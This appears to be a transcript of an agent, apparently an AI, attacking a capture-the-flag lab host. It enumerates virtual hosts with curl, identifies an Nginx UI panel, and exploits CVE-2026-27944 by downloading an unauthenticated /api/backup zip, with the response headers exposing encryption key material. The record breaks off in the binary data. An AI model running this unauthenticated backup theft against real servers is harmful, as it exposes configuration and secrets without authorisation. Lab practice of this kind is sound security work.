<!-- PWA Manifest -->
<link rel="manifest" href="./manifest.json">
$ curl -sv http://10.129.25.16/ -H "Host: manage.snapped.htb" 2>&1 | head -30
* Trying 10.129.25.16:80...
* Connected to 10.129.25.16 (10.129.25.16) port 80
> GET / HTTP/1.1
> Host: manage.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:08:39 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://snapped.htb/
<
{ [154 bytes data]
* Connection #0 to host 10.129.25.16 left intact
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
admin.snapped.htb returns a different response - this is the Nginx-UI interface. Let me add it to hosts and explore it.
$ echo "10.129.25.16 admin.snapped.htb" | sudo bash -c 'cat >> /etc/hosts' && curl -s http://admin.snapped.htb/ 2>/dev/null
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link href="./favicon.ico" rel="icon">
<link href="./favicon-32x32.png" rel="icon" type="image/png" sizes="32x32">
<meta content="width=device-width,initial-scale=1.0,user-scalable=0" name="viewport">
<!-- PWA Manifest -->
<link rel="manifest" href="./manifest.json">
<!-- PWA Meta Tags -->
<meta name="theme-color" content="#ffffff">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="default">
<meta name="apple-mobile-web-app-title" content="Nginx UI">
<meta name="mobile-web-app-capable" content="yes">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="msapplication-config" content="./browserconfig.xml">
<!-- Apple Touch Icons -->
<link rel="apple-touch-icon" sizes="192x192" href="./pwa-192x192.png">
<link rel="apple-touch-icon" sizes="512x512" href="./pwa-512x512.png">
<style>
body {
height: auto !important;
min-height: 100%;
}
body.dark {
background-color: #141414;
color: #fff;
}
#app {
height: 100vh;
}
</style>
<title>Nginx UI</title>
<script type="module" crossorigin src="./assets/index-DoHxQupa.js"></script>
<link rel="stylesheet" crossorigin href="./assets/index-Cjd4fVAL.css">
</head>
<body>
<div id="app"></div>
</body>
</html>
Confirmed - this is Nginx UI. Now let me exploit CVE-2026-27944 by accessing the /api/backup endpoint without authentication.
$ curl -sv http://admin.snapped.htb/api/backup 2>&1 | head -50
* Host admin.snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.25.16
* Trying 10.129.25.16:80...
* Connected to admin.snapped.htb (10.129.25.16) port 80
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:08:52 GMT
< Content-Type: application/zip
< Content-Length: 18306
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260409-070852.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Thu, 09 Apr 2026 11:08:52 GMT
< Pragma: public
< Request-Id: 75a56c69-1f36-4a33-9320-cedfbb23e8e4
< X-Backup-Security: wBsEtOM1+7t1ow46sewLIN3DoXfJAKnFgGdwDinK4UI=:CAOJluyMx9L32wtMiPW6gw==
<
{ [2126 bytes data]
PK Y�\